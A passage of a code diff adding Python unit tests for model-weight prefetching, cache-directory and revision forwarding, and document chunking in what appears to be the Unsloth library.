+    ig_default = U._prefetch_ignore_patterns("org/repo", weights_at_root = True)
+    assert "*.bin" in ig_default
+
+
+def test_variant_drops_bin_when_variant_safetensors_present(monkeypatch):
+    """A variant-matching safetensors makes the variant .bin redundant, so .bin is dropped."""
+    _install_fake_model_info(monkeypatch, ["model.fp16.safetensors", "pytorch_model.fp16.bin"])
+    ig = U._prefetch_ignore_patterns("org/repo", variant = "fp16", weights_at_root = True)
+    assert "*.bin" in ig
+
+
+def test_no_variant_keeps_bin_when_only_variant_safetensors(monkeypatch):
+    """For a no-variant load, only a canonical safetensors (not a lone variant) makes .bin redundant."""
+    _install_fake_model_info(monkeypatch, ["model.fp16.safetensors", "pytorch_model.bin"])
+    ig = U._prefetch_ignore_patterns("org/repo", weights_at_root = True)
+    assert "*.bin" not in ig
+    _install_fake_model_info(monkeypatch, ["model.safetensors", "pytorch_model.bin"])
+    ig2 = U._prefetch_ignore_patterns("org/repo", weights_at_root = True)
+    assert "*.bin" in ig2
+
+
+def test_variant_keeps_bin_for_noncanonical_sidecar(monkeypatch):
+    """A non-canonical variant sidecar must not prove the variant .bin redundant; a canonical one does."""
+    _install_fake_model_info(
+        monkeypatch, ["consolidated.fp16.safetensors", "pytorch_model.fp16.bin"]
+    )
+    ig = U._prefetch_ignore_patterns("org/repo", variant = "fp16", weights_at_root = True)
+    assert "*.bin" not in ig
+    _install_fake_model_info(monkeypatch, ["model.fp16.safetensors", "pytorch_model.fp16.bin"])
+    ig2 = U._prefetch_ignore_patterns("org/repo", variant = "fp16", weights_at_root = True)
+    assert "*.bin" in ig2
+
+
+def test_is_canonical_model_weight_safetensors():
+    """The canonical detector matches only non-variant model-weight safetensors names."""
+    assert U._is_canonical_model_weight_safetensors("model.safetensors") is True
+    assert U._is_canonical_model_weight_safetensors("model-00001-of-00002.safetensors") is True
+    assert U._is_canonical_model_weight_safetensors("model.safetensors.index.json") is True
+    assert U._is_canonical_model_weight_safetensors("model.fp16.safetensors") is False
+    assert (
+        U._is_canonical_model_weight_safetensors("model.fp16-00001-of-00002.safetensors") is False
+    )
+    assert U._is_canonical_model_weight_safetensors("adapter_model.safetensors") is False
+
+
+def test_st_prefetch_resolves_env_cache_and_runs_after_validation():
+    """The ST prefetch must resolve SENTENCE_TRANSFORMERS_HOME and run after load-mode validation."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        src = f.read()
+    tree = ast.parse(src)
+    prefetch_calls = [
+        n
+        for n in ast.walk(tree)
+        if isinstance(n, ast.Call)
+        and isinstance(n.func, ast.Name)
+        and n.func.id == "maybe_prefetch_hf_snapshot"
+    ]
+    assert len(prefetch_calls) == 1, "expected exactly one ST prefetch call"
+    call = prefetch_calls[0]
+    # cache_dir kwarg resolves SENTENCE_TRANSFORMERS_HOME.
+    cache_dir_kw = next((kw for kw in call.keywords if kw.arg == "cache_dir"), None)
+    assert cache_dir_kw is not None, "ST prefetch must pass cache_dir"
+    assert "SENTENCE_TRANSFORMERS_HOME" in ast.dump(
+        cache_dir_kw.value
+    ), "ST prefetch cache_dir must resolve SENTENCE_TRANSFORMERS_HOME"
+    # Load-mode validation runs before the prefetch (fewer source lines = earlier).
+    val_lineno = src[: src.index("Can only load in 4bit or 8bit or 16bit")].count("\n")
+    assert val_lineno < call.lineno, "load-mode validation must precede the ST prefetch"
+
+
+def test_st_cache_resolutions_honor_explicit_hf_cache_dir():
+    """Every ST cache resolution falling back to SENTENCE_TRANSFORMERS_HOME must first honor an explicit HF cache_dir."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+    resolutions = [
+        kw
+        for kw in ast.walk(tree)
+        if isinstance(kw, ast.keyword)
+        and kw.arg == "cache_dir"
+        and "SENTENCE_TRANSFORMERS_HOME" in ast.dump(kw.value)
+    ]
+    assert resolutions, "expected cache_dir resolutions referencing SENTENCE_TRANSFORMERS_HOME"
+    for kw in resolutions:
+        assert "'cache_dir'" in ast.dump(
+            kw.value
+        ), "an ST cache_dir resolution must read an explicit kwargs.get('cache_dir') first"
+
+
+def test_st_native_loads_map_hf_cache_dir_to_cache_folder():
+    """Native SentenceTransformer loads take cache_folder, so an explicit HF cache_dir must be mapped onto it."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        src = f.read()
+    tree = ast.parse(src)
+    # Every native SentenceTransformer(...) forwarding cache_folder must read cache_dir.
+    st_calls = [
+        n
+        for n in ast.walk(tree)
+        if isinstance(n, ast.Call)
+        and isinstance(n.func, ast.Name)
+        and n.func.id == "SentenceTransformer"
+    ]
+    cache_folder_kws = [kw for call in st_calls for kw in call.keywords if kw.arg == "cache_folder"]
+    assert cache_folder_kws, "expected a native SentenceTransformer call forwarding cache_folder"
+    for kw in cache_folder_kws:
+        assert "'cache_dir'" in ast.dump(
+            kw.value
+        ), "a native SentenceTransformer cache_folder must map the explicit HF cache_dir first"
+    # for_inference feeds cache_folder via st_kwargs; both native branches map cache_dir -> cache_folder.
+    normalized = "".join(src.split())
+    assert (
+        'st_kwargs["cache_folder"]=' in normalized
+    ), "for_inference must set st_kwargs cache_folder"
+    assert (
+        normalized.count('kwargs.get("cache_dir")orkwargs.get("cache_folder")') >= 2
+    ), "both native ST branches (for_inference, fast-encoder) must map cache_dir -> cache_folder"
+
+
+def test_vision_warms_vllm_tokenizer_after_remap():
+    """On the vLLM path the tokenizer warm is deferred until after the fast_inference_setup remap."""
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "vision.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        src = f.read()
+    guard = "if _vllm_owns_weights and isinstance(tokenizer_name"
+    assert guard in src, "expected a vLLM-gated tokenizer warm"
+    assert src.index(guard) > src.index(
+        "fast_inference_setup("
+    ), "the vLLM tokenizer warm must run after the fast_inference_setup remap"
+
+
+def test_diffusion_forwards_variant_to_real_load():
+    """FastDiffusionModel must forward variant to the real model_cls.from_pretrained load, not just the prefetch."""
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "diffusion.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        src = f.read()
+    assert (
+        'load_kwargs["variant"] = kwargs["variant"]' in src
+    ), "the diffusion load must forward variant to model_cls.from_pretrained"
+
+
+def test_vision_prefetch_runs_after_load_mode_validation():
+    """The FastBaseModel (vision) prefetch must run after the load-mode validation."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "vision.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        src = f.read()
+    tree = ast.parse(src)
+    prefetch_calls = [
+        n
+        for n in ast.walk(tree)
+        if isinstance(n, ast.Call)
+        and isinstance(n.func, ast.Name)
+        and n.func.id == "maybe_prefetch_hf_snapshot"
+    ]
+    assert prefetch_calls, "expected a vision prefetch call"
+    first_prefetch = min(call.lineno for call in prefetch_calls)
+    val_lineno = src[: src.index("Can only load in 4bit or 8bit or 16bit")].count("\n")
+    assert val_lineno < first_prefetch, "load-mode validation must precede the vision prefetch"
+
+
+def test_llama_prefetch_skips_only_real_vllm_loads():
+    """The llama prefetch's fast_inference skip must be gated on num_labels is None (a classification load still downloads)."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "llama.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+    gated = False
+    for n in ast.walk(tree):
+        if not (
+            isinstance(n, ast.Call)
+            and isinstance(n.func, ast.Name)
+            and n.func.id == "maybe_prefetch_hf_snapshot"
+        ):
+            continue
+        fi_kw = next((kw for kw in n.keywords if kw.arg == "fast_inference"), None)
+        if fi_kw is None:
+            continue
+        dumped = ast.dump(fi_kw.value)
+        if "fast_inference" in dumped and "num_labels" in dumped:
+            gated = True
+    assert gated, "llama prefetch fast_inference must be gated on num_labels is None"
+
+
+def test_st_fallback_module_loads_resolve_env_cache():
+    """Fallback module loads deriving cache_dir from cache_folder must also fall back to SENTENCE_TRANSFORMERS_HOME."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        src = f.read()
+    tree = ast.parse(src)
+
+    # Fallback sites (cache_dir derived from cache_folder) must resolve SENTENCE_TRANSFORMERS_HOME.
+    checked = 0
+    for node in ast.walk(tree):
+        if not (isinstance(node, ast.Call) and isinstance(node.func, ast.Attribute)):
+            continue
+        if node.func.attr not in ("_module_path", "_load_modules"):
+            continue
+        cache_dir_kw = next((kw for kw in node.keywords if kw.arg == "cache_dir"), None)
+        if cache_dir_kw is None:
+            continue
+        dumped = ast.dump(cache_dir_kw.value)
+        if "cache_folder" not in dumped:
+            continue  # internal pass-through, not a resolution site
+        checked += 1
+        assert (
+            "SENTENCE_TRANSFORMERS_HOME" in dumped
+        ), f"{node.func.attr} cache_dir resolves cache_folder but not SENTENCE_TRANSFORMERS_HOME"
+    assert (
+        checked >= 2
+    ), "expected the fallback _module_path and _load_modules calls to resolve the env cache"
+
+
+def test_st_fallback_module_loads_forward_revision():
+    """The fallback module loads must forward revision so module files match the revision-pinned weights.
+    Guards: (a) helpers accept revision, (b) every download primitive forwards it, (c) _load_modules
+    threads it into internal calls, (d) the from_pretrained fallback sites forward it."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+
+    funcs = {
+        n.name: n
+        for n in ast.walk(tree)
+        if isinstance(n, ast.FunctionDef)
+        and n.name in ("_module_path", "_read_pooling_mode", "_load_modules")
+    }
+    assert set(funcs) == {"_module_path", "_read_pooling_mode", "_load_modules"}
+
+    # (a) each helper takes a revision parameter.
+    for name, fn in funcs.items():
+        arg_names = {a.arg for a in fn.args.args + fn.args.kwonlyargs}
+        assert "revision" in arg_names, f"{name} must accept a revision argument"
+
+    # (b) every download primitive inside the helpers forwards revision.
+    downloads = 0
+    for name, fn in funcs.items():
+        for node in ast.walk(fn):
+            if not (isinstance(node, ast.Call) and isinstance(node.func, ast.Name)):
+                continue
+            if node.func.id not in ("hf_hub_download", "load_dir_path"):
+                continue
+            downloads += 1
+            assert any(
+                kw.arg == "revision" for kw in node.keywords
+            ), f"{node.func.id} in {name} must forward revision"
+    assert downloads >= 3, "expected the module-download primitives to be revision-guarded"
+
+    # (c) _load_modules threads revision into its internal _module_path / _read_pooling_mode calls.
+    internal = 0
+    for node in ast.walk(funcs["_load_modules"]):
+        if not (isinstance(node, ast.Call) and isinstance(node.func, ast.Attribute)):
+            continue
+        if node.func.attr not in ("_module_path", "_read_pooling_mode"):
+            continue
+        internal += 1
+        assert any(
+            kw.arg == "revision" for kw in node.keywords
+        ), f"_load_modules must forward revision to {node.func.attr}"
+    assert internal >= 2, "expected _load_modules to call _module_path and _read_pooling_mode"
+
+    # (d) the from_pretrained fallback _module_path / _load_modules sites forward revision.
+    checked = 0
+    for node in ast.walk(tree):
+        if not (isinstance(node, ast.Call) and isinstance(node.func, ast.Attribute)):
+            continue
+        if node.func.attr not in ("_module_path", "_load_modules"):
+            continue
+        cache_dir_kw = next((kw for kw in node.keywords if kw.arg == "cache_dir"), None)
+        if cache_dir_kw is None or "cache_folder" not in ast.dump(cache_dir_kw.value):
+            continue  # internal pass-through, not a fallback site
+        checked += 1
+        rev_kw = next((kw for kw in node.keywords if kw.arg == "revision"), None)
+        assert rev_kw is not None and "revision" in ast.dump(
+            rev_kw.value
+        ), f"{node.func.attr} fallback call must forward revision"
+    assert (
+        checked >= 2
+    ), "expected the fallback _module_path and _load_modules calls to forward revision"
+
+
+def test_st_fallback_model_load_resolves_env_cache():
+    """from_pretrained must resolve the warmed ST cache into kwargs['cache_dir'] before the FastModel weight load."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+
+    def _resolves_st_cache(value_node):
+        # Resolution may be inline or in the assignment to an intermediate variable the value references.
+        dumped = ast.dump(value_node)
+        if "cache_folder" in dumped and "SENTENCE_TRANSFORMERS_HOME" in dumped:
+            return True
+        if isinstance(value_node, ast.Name):
+            for n in ast.walk(tree):
+                if isinstance(n, ast.Assign) and any(
+                    isinstance(t, ast.Name) and t.id == value_node.id for t in n.targets
+                ):
+                    d = ast.dump(n.value)
+                    if "cache_folder" in d and "SENTENCE_TRANSFORMERS_HOME" in d:
+                        return True
+        return False
+
+    resolved_lines = []
+    for node in ast.walk(tree):
+        if not isinstance(node, ast.Assign):
+            continue
+        for tgt in node.targets:
+            if (
+                isinstance(tgt, ast.Subscript)
+                and isinstance(tgt.value, ast.Name)
+                and tgt.value.id == "kwargs"
+                and isinstance(tgt.slice, ast.Constant)
+                and tgt.slice.value == "cache_dir"
+                and _resolves_st_cache(node.value)
+            ):
+                resolved_lines.append(node.lineno)
+    assert resolved_lines, "from_pretrained must resolve the ST cache into kwargs['cache_dir']"
+
+    fastmodel_calls = [
+        n.lineno
+        for n in ast.walk(tree)
+        if isinstance(n, ast.Call)
+        and isinstance(n.func, ast.Attribute)
+        and n.func.attr == "from_pretrained"
+        and isinstance(n.func.value, ast.Name)
+        and n.func.value.id == "FastModel"
+    ]
+    assert fastmodel_calls, "expected a FastModel.from_pretrained call"
+    assert min(resolved_lines) < min(
+        fastmodel_calls
+    ), "kwargs['cache_dir'] must be resolved before the fallback FastModel weight load"
+
+
+def test_canonical_variant_model_weight_matches_transformers_names():
+    """The variant safetensors detector matches only canonical variant names, rejecting sidecars and wrong variants."""
+    f = U._is_canonical_variant_model_weight_safetensors
+    assert f("model.fp16.safetensors", "fp16") is True
+    assert f("model.fp16-00001-of-00002.safetensors", "fp16") is True
+    assert f("model-00001-of-00002.fp16.safetensors", "fp16") is True
+    assert f("model.safetensors.index.fp16.json", "fp16") is True
+    assert f("consolidated.fp16.safetensors", "fp16") is False
+    assert f("model.safetensors", "fp16") is False
+    assert f("model-00001-of-00002.safetensors", "fp16") is False
+    assert f("model.bf16.safetensors", "fp16") is False
+
+
+def test_variant_is_forwarded_to_downloader(capture):
+    """maybe_prefetch_hf_snapshot must forward variant to the downloader (absent a variant, nothing is forwarded)."""
+    _, st = capture(weights_at_root = True, use_safetensors = True, variant = "fp16")
+    assert st["variant"] == "fp16"
+    _, st = capture(weights_at_root = True, use_safetensors = True)
+    assert st["variant"] is None
+
+
+def test_variant_drops_bin_for_sharded_variant_safetensors(monkeypatch):
+    """A sharded variant safetensors is recognized, so its redundant variant .bin is dropped."""
+    _install_fake_model_info(
+        monkeypatch,
+        [
+            "model.fp16-00001-of-00002.safetensors",
+            "model.fp16-00002-of-00002.safetensors",
+            "pytorch_model.fp16-00001-of-00002.bin",
+        ],
+    )
+    ig = U._prefetch_ignore_patterns("org/repo", variant = "fp16", weights_at_root = True)
+    assert "*.bin" in ig
+
+
+def test_tokenizer_only_warms_extra_vocab_files(capture):
+    """tokenizer_only must warm SentencePiece / vocab / processor files, including a named jinja template."""
+    _, st = capture(tokenizer_only = True)
+    allow = st["allow_patterns"]
+    for name in (
+        "spm.model",
+        "normalizer.json",
+        "video_preprocessor_config.json",
+        "tokenizer.model.v3",
+    ):
+        assert name in allow, name
+    sample = [
+        "spm.model",
+        "normalizer.json",
+        "video_preprocessor_config.json",
+        "tokenizer.model.v3",
+        "additional_chat_templates/custom.jinja",
+    ]
+    kept = _filter(sample, allow, st["ignore_patterns"])
+    assert set(kept) == set(sample)
+
+
+def test_format_probe_runs_even_when_config_cached(capture, monkeypatch):
+    """A cached config.json must not skip the weight-format probe; model_info still drops the redundant .bin."""
+    import huggingface_hub
+
+    # Pretend config.json is cached (the AutoConfig side effect); this must not gate the probe.
+    monkeypatch.setattr(
+        huggingface_hub, "try_to_load_from_cache", lambda *a, **k: "/cache/config.json"
+    )
+    _install_fake_model_info(monkeypatch, ["model.safetensors", "pytorch_model.bin"])
+    _, st = capture(weights_at_root = True)
+    ig = st["ignore_patterns"] or []
+    assert "*.bin" in ig
+
+
+def test_optimizer_safetensors_does_not_drop_bin(monkeypatch):
+    """An optimizer.safetensors sidecar must not count as model safetensors, so the real .bin weights are kept."""
+    _install_fake_model_info(monkeypatch, ["pytorch_model.bin", "optimizer.safetensors"])
+    ig = U._prefetch_ignore_patterns("org/repo", weights_at_root = True)
+    assert "*.bin" not in ig
+
+
+def test_model_safetensors_still_drops_bin(monkeypatch):
+    """Control for the optimizer case: a real model.safetensors next to pytorch_model.bin still drops the .bin."""
+    _install_fake_model_info(
+        monkeypatch, ["model.safetensors", "pytorch_model.bin", "optimizer.safetensors"]
+    )
+    ig = U._prefetch_ignore_patterns("org/repo", weights_at_root = True)
+    assert "*.bin" in ig
+
+
+def test_whole_multi_component_snapshot_keeps_subdir_bin(monkeypatch):
+    """A whole multi-component snapshot must not drop *.bin (it would strip a subdir module's weight); a root load still does."""
+    _install_fake_model_info(monkeypatch, ["model.safetensors", "1_Dense/pytorch_model.bin"])
+    ig = U._prefetch_ignore_patterns("org/repo", weights_at_root = False)
+    assert "*.bin" not in ig
+    ig_root = U._prefetch_ignore_patterns("org/repo", weights_at_root = True)
+    assert "*.bin" in ig_root
+
+
+def test_is_model_weight_safetensors_classification():
+    """Real model weights count; adapter / trainer-state sidecars do not."""
+    assert U._is_model_weight_safetensors("model.safetensors") is True
+    assert U._is_model_weight_safetensors("model-00001-of-00002.safetensors") is True
+    assert U._is_model_weight_safetensors("model.safetensors.index.json") is True
+    assert U._is_model_weight_safetensors("consolidated.safetensors") is True
+    assert U._is_model_weight_safetensors("adapter_model.safetensors") is False
+    assert U._is_model_weight_safetensors("optimizer.safetensors") is False
+    assert U._is_model_weight_safetensors("scheduler.safetensors") is False
+    assert U._is_model_weight_safetensors("rng_state_0.safetensors") is False
+
+
+def test_tokenizer_only_warms_slow_sentencepiece_vocab(capture):
+    """tokenizer_only must warm the slow-tokenizer SentencePiece / BPE vocab files AutoTokenizer fetches first."""
+    _, st = capture(tokenizer_only = True)
+    allow = st["allow_patterns"]
+    for name in (
+        "sentencepiece.bpe.model",
+        "source.spm",
+        "target.spm",
+        "bpe.codes",
+        "vocab.bpe",
+        "sentencepiece.model",
+        "vocab-src.json",
+        "vocab-tgt.json",
+    ):
+        assert name in allow, name
+
+
+def test_adapter_safetensors_check_scoped_to_root(monkeypatch):
+    """_adapter_repo_has_safetensors must only count a root adapter_model*.safetensors, not a subdir one."""
+    import huggingface_hub
+
+    class _Sib:
+        def __init__(self, name):
+            self.rfilename = name
+
+    class _Api:
+        def __init__(self, names):
+            self._names = names
+
+        def model_info(self, *a, **k):
+            return type("MI", (), {"siblings": [_Sib(n) for n in self._names]})()
+
+    # Subdir safetensors only -> not reported present.
+    monkeypatch.setattr(
+        huggingface_hub,
+        "HfApi",
+        lambda: _Api(
+            ["adapter_config.json", "adapter_model.bin", "checkpoint-5/adapter_model.safetensors"]
+        ),
+    )
+    assert U._adapter_repo_has_safetensors("org/repo") is False
+    # Root safetensors -> reported present.
+    monkeypatch.setattr(
+        huggingface_hub,
+        "HfApi",
+        lambda: _Api(["adapter_config.json", "adapter_model.safetensors"]),
+    )
+    assert U._adapter_repo_has_safetensors("org/repo") is True
+
+
+def test_gguf_file_warm_keeps_gguf(capture):
+    """A gguf_file load allow-lists that GGUF while not pulling other quants the repo publishes."""
+    _, st = capture(weights_at_root = True, gguf_file = "model-Q4_K_M.gguf")
+    allow = st["allow_patterns"]
+    ig = st["ignore_patterns"]
+    assert allow is not None and "model-Q4_K_M.gguf" in allow
+    sample = [
+        "model-Q4_K_M.gguf",
+        "model-Q8_0.gguf",
+        "config.json",
+        "tokenizer.json",
+    ]
+    kept = _filter(sample, allow, ig)
+    assert "model-Q4_K_M.gguf" in kept
+    assert "config.json" in kept
+    assert "model-Q8_0.gguf" not in kept
+
+
+# ----- Finding Q: adapter weight-format selection -----
+
+
+def test_adapter_only_prefers_safetensors_over_bin(capture, monkeypatch):
+    """A mixed-format adapter repo warms only the safetensors PeftModel reads, not both formats."""
+    _install_fake_model_info(
+        monkeypatch, ["adapter_config.json", "adapter_model.safetensors", "adapter_model.bin"]
+    )
+    _, st = capture(adapter_only = True)
+    ig = st["ignore_patterns"]
+    assert ig is not None and "adapter_model*.bin" in ig
+    kept = _filter(
+        ["adapter_config.json", "adapter_model.safetensors", "adapter_model.bin"],
+        st["allow_patterns"],
+        ig,
+    )
+    assert "adapter_model.safetensors" in kept
+    assert "adapter_model.bin" not in kept
+
+
+def test_adapter_only_bin_only_keeps_bin(capture, monkeypatch):
+    """A .bin-only adapter repo must keep adapter_model.bin (no safetensors found -> both formats eligible)."""
+    _install_fake_model_info(monkeypatch, ["adapter_config.json", "adapter_model.bin"])
+    _, st = capture(adapter_only = True)
+    kept = _filter(
+        ["adapter_config.json", "adapter_model.bin"], st["allow_patterns"], st["ignore_patterns"]
+    )
+    assert "adapter_model.bin" in kept
+
+
+def test_adapter_only_explicit_use_safetensors_false_keeps_bin(capture):
+    """An explicit use_safetensors=False forces the .bin form without a model_info call."""
+    _, st = capture(adapter_only = True, use_safetensors = False)
+    ig = st["ignore_patterns"]
+    assert ig is not None and "adapter_model*.safetensors" in ig
+    kept = _filter(
+        ["adapter_config.json", "adapter_model.safetensors", "adapter_model.bin"],
+        st["allow_patterns"],
+        ig,
+    )
+    assert "adapter_model.bin" in kept
+    assert "adapter_model.safetensors" not in kept
+
+
+def test_gguf_file_with_subfolder_warms_subfolder_path(capture):
+    """gguf_file + subfolder: the warm allow-lists <subfolder>/<gguf_file>, not the bare root name."""
+    _, st = capture(weights_at_root = True, gguf_file = "model-Q4_K_M.gguf", subfolder = "gguf")
+    allow = st["allow_patterns"]
+    assert "gguf/model-Q4_K_M.gguf" in allow
+    kept = _filter(["gguf/model-Q4_K_M.gguf", "config.json"], allow, st["ignore_patterns"])
+    assert "gguf/model-Q4_K_M.gguf" in kept and "config.json" in kept
+
+
+def test_from_tf_root_load_ignores_nested_h5(capture):
+    """A from_tf root load keeps the root .h5 but drops nested .h5 / .msgpack checkpoints."""
+    _, st = capture(weights_at_root = True, from_tf = True)
+    ig = st["ignore_patterns"]
+    assert "*/*.h5" in ig and "*/*.msgpack" in ig
+    kept = _filter(["model.h5", "checkpoint-1/model.h5", "config.json"], st["allow_patterns"], ig)
+    assert "model.h5" in kept
+    assert "checkpoint-1/model.h5" not in kept
+
+
+def test_sentence_transformer_from_pretrained_is_prefetch_wired():
+    """from_pretrained must call maybe_prefetch_hf_snapshot as an unconditional top-level statement before any return."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+    cls = next(
+        n for n in tree.body if isinstance(n, ast.ClassDef) and n.name == "FastSentenceTransformer"
+    )
+    fp = next(n for n in cls.body if isinstance(n, ast.FunctionDef) and n.name == "from_pretrained")
+
+    def _prefetch_call(node):
+        # a bare call statement, or one whose return is captured (e.g. _st_prefetched = ...)
+        value = node.value if isinstance(node, (ast.Expr, ast.Assign)) else None
+        if (
+            isinstance(value, ast.Call)
+            and isinstance(value.func, ast.Name)
+            and value.func.id == "maybe_prefetch_hf_snapshot"
+        ):
+            return value
+        return None
+
+    prefetch_pos = next((i for i, n in enumerate(fp.body) if _prefetch_call(n)), None)
+    return_pos = next((i for i, n in enumerate(fp.body) if isinstance(n, ast.Return)), len(fp.body))
+    assert (
+        prefetch_pos is not None
+    ), "from_pretrained must call maybe_prefetch_hf_snapshot at top level"
+    assert prefetch_pos < return_pos, "prefetch must run before any top-level return"
+    # local_files_only must be forwarded so an offline load does not start a Hub download.
+    prefetch_call = _prefetch_call(fp.body[prefetch_pos])
+    assert "local_files_only" in {
+        kw.arg for kw in prefetch_call.keywords
+    }, "prefetch must forward local_files_only"
+
+
+def test_st_module_download_forwards_cache_folder():
+    """_load_modules must forward the custom cache_folder into load_dir_path so per-module subdirs read the warmed cache."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+    calls = [
+        n
+        for n in ast.walk(tree)
+        if isinstance(n, ast.Call) and isinstance(n.func, ast.Name) and n.func.id == "load_dir_path"
+    ]
+    assert calls, "expected a load_dir_path call in sentence_transformer.py"
+    assert all(
+        "cache_folder" in {kw.arg for kw in c.keywords} for c in calls
+    ), "every load_dir_path call must forward cache_folder"
+
+
+def test_st_native_sentence_transformer_calls_forward_cache_folder():
+    """Every native SentenceTransformer(model_name, ...) load must forward cache_folder; a modules-based build needs none."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+    weight_loading_calls = []
+    for n in ast.walk(tree):
+        if not (
+            isinstance(n, ast.Call)
+            and isinstance(n.func, ast.Name)
+            and n.func.id == "SentenceTransformer"
+        ):
+            continue
+        kw_names = {kw.arg for kw in n.keywords}
+        # A modules-based build downloads nothing; only a repo-name load reads the cache.
+        if "modules" in kw_names:
+            continue
+        weight_loading_calls.append(n)
+    assert (
+        weight_loading_calls
+    ), "expected a repo-name SentenceTransformer load in sentence_transformer.py"
+    # cache_folder is forwarded explicitly or via a **kwargs unpacking (kw.arg == None).
+    for c in weight_loading_calls:
+        kw_names = {kw.arg for kw in c.keywords}
+        forwards = "cache_folder" in kw_names or None in kw_names
+        assert forwards, (
+            "a repo-name SentenceTransformer load must forward cache_folder "
+            f"(explicitly or via **kwargs) at line {c.lineno}"
+        )
diff --git a/tests/test_synthetic_chunk_data.py b/tests/test_synthetic_chunk_data.py
new file mode 100644
index 0000000000..abc2c01443
--- /dev/null
+++ b/tests/test_synthetic_chunk_data.py
@@ -0,0 +1,139 @@
+#!/usr/bin/env python3
+"""Regression tests for SyntheticDataKit.chunk_data: short-document handling and overlap validation."""
+
+import os
+import tempfile
+from types import SimpleNamespace
+
+from unsloth.dataprep.synthetic import SyntheticDataKit
+
+
+class _MockTokenizer:
+    def __call__(
+        self,
+        text,
+        add_special_tokens = False,
+    ):
+        return SimpleNamespace(input_ids = list(range(len(text.split()))))
+
+    def decode(self, token_ids):
+        return " ".join(f"w{i}" for i in token_ids)
+
+
+def _make_kit(
+    max_seq_length = 2048,
+    max_generation_tokens = 512,
+    overlap = 64,
+):
+    kit = SyntheticDataKit.__new__(SyntheticDataKit)
+    kit.tokenizer = _MockTokenizer()
+    kit.max_seq_length = max_seq_length
+    kit.max_generation_tokens = max_generation_tokens
+    kit.overlap = overlap
+    return kit
+
+
+def _chunk(text, kit = None):
+    """Returns (chunk_filenames, chunk_contents); reads content before cleanup."""
+    if kit is None:
+        kit = _make_kit()
+    with tempfile.NamedTemporaryFile("w", suffix = ".txt", delete = False) as f:
+        f.write(text)
+        path = f.name
+    created = []
+    try:
+        created = kit.chunk_data(filename = path)
+        contents = []
+        for fn in created:
+            with open(fn, encoding = "utf-8") as fh:
+                contents.append(fh.read())
+        return list(created), contents
+    finally:
+        os.unlink(path)
+        for fn in created:
+            if os.path.exists(fn):
+                os.unlink(fn)
+
+
+def test_chunk_data_keeps_single_chunk_document():
+    # A short document fits in one chunk (n_chunks == 1) and must still produce
+    # one output file rather than silently vanishing.
+    out, contents = _chunk("word " * 50)
+    assert len(out) == 1, f"single-chunk doc should yield 1 file, got {len(out)}"
+    assert contents[0] != "", "the chunk file must contain the document text"
+
+
+def test_chunk_data_still_splits_long_document():
+    # A long document (n_chunks > 1) must still produce multiple chunks.
+    out, _ = _chunk("word " * 5000)
+    assert len(out) > 1, f"long doc should yield multiple chunks, got {len(out)}"
+
+
+def test_chunk_data_empty_document_yields_no_chunks():
+    # An empty document must not produce an (empty) chunk file.
+    out, _ = _chunk("")
+    assert out == [], f"empty doc should yield no files, got {len(out)}"
+
+
+def test_chunk_data_short_document_is_not_split_into_fragments():
+    # A document shorter than the overlap previously reached the multi-chunk path
+    # (n_chunks >= 3) where linspace produced negative start indices, slicing the
+    # wrong tail tokens. It must be emitted as one chunk covering the whole document.
+    kit = _make_kit(max_seq_length = 2048, max_generation_tokens = 920, overlap = 64)  # max_tokens = 80
+    out, contents = _chunk("word " * 50, kit = kit)  # 50 tokens < overlap (would be 4 chunks)
+    assert len(out) == 1, f"sub-overlap doc should yield 1 chunk, got {len(out)}"
+    assert contents[0].split() == [
+        f"w{i}" for i in range(50)
+    ], f"chunk must cover the whole document, not a fragment; got: {contents[0]!r}"
+
+
+def test_chunk_data_rejects_overlap_not_smaller_than_chunk():
+    # If overlap >= chunk size the stride is non-positive, which would divide by zero
+    # or emit one oversized chunk. The config must be rejected with a clear error.
+    kit = _make_kit(max_seq_length = 2048, max_generation_tokens = 950, overlap = 64)  # max_tokens = 20
+    with tempfile.NamedTemporaryFile("w", suffix = ".txt", delete = False) as f:
+        f.write("word " * 50)
+        path = f.name
+    try:
+        try:
+            kit.chunk_data(filename = path)
+            raise AssertionError("expected RuntimeError when overlap >= chunk size")
+        except RuntimeError as e:
+            assert "overlap" in str(e), f"error should mention overlap, got: {e}"
+    finally:
+        os.unlink(path)
+
+
+def test_chunk_data_uninitialized_error_names_real_class():
+    # Without max_seq_length the guard tells the user which method to call first.
+    # The message must name the real class (SyntheticDataKit) so copying it works;
+    # a misspelling would raise NameError when the user follows it verbatim.
